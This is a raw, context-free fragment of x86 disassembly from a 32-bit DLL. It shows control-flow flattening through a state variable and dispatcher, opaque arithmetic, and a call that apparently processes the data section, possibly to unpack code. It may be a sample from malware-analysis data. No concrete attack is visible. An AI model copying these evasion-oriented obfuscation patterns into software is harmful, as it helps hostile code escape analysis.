mov dword [esp], eax
call fcn.10001360
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.10001360
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x51c00
call section..text
add esp, 8
mov eax, dword [ebp - 0x12c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x134], 0x52a5148a
jmp 0x1000729e
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x134], 0xb7446f70
jmp 0x1000729e
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov dword [ebp - 0x134], 0x4c9ee050
jmp 0x1000729e
mov dword [ebp - 0x134], 0x1a7a36a4
jmp 0x1000729e
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x134], 0xdb4c5422
jmp 0x1000729e
mov dword [ebp - 0x134], 0x7be69d6
jmp 0x1000729e
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 0x6b68b730
add ecx, 1
add ecx, 0x6b68b730
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0xc45519ab
jmp 0x1000729e
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x134], 0x7b6060b1
jmp 0x1000729e
mov dword [ebp - 0x134], 0x1bc9120c
jmp 0x1000729e
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x134], 0x2115a9a5
jmp 0x1000729e
jmp 0x10003b37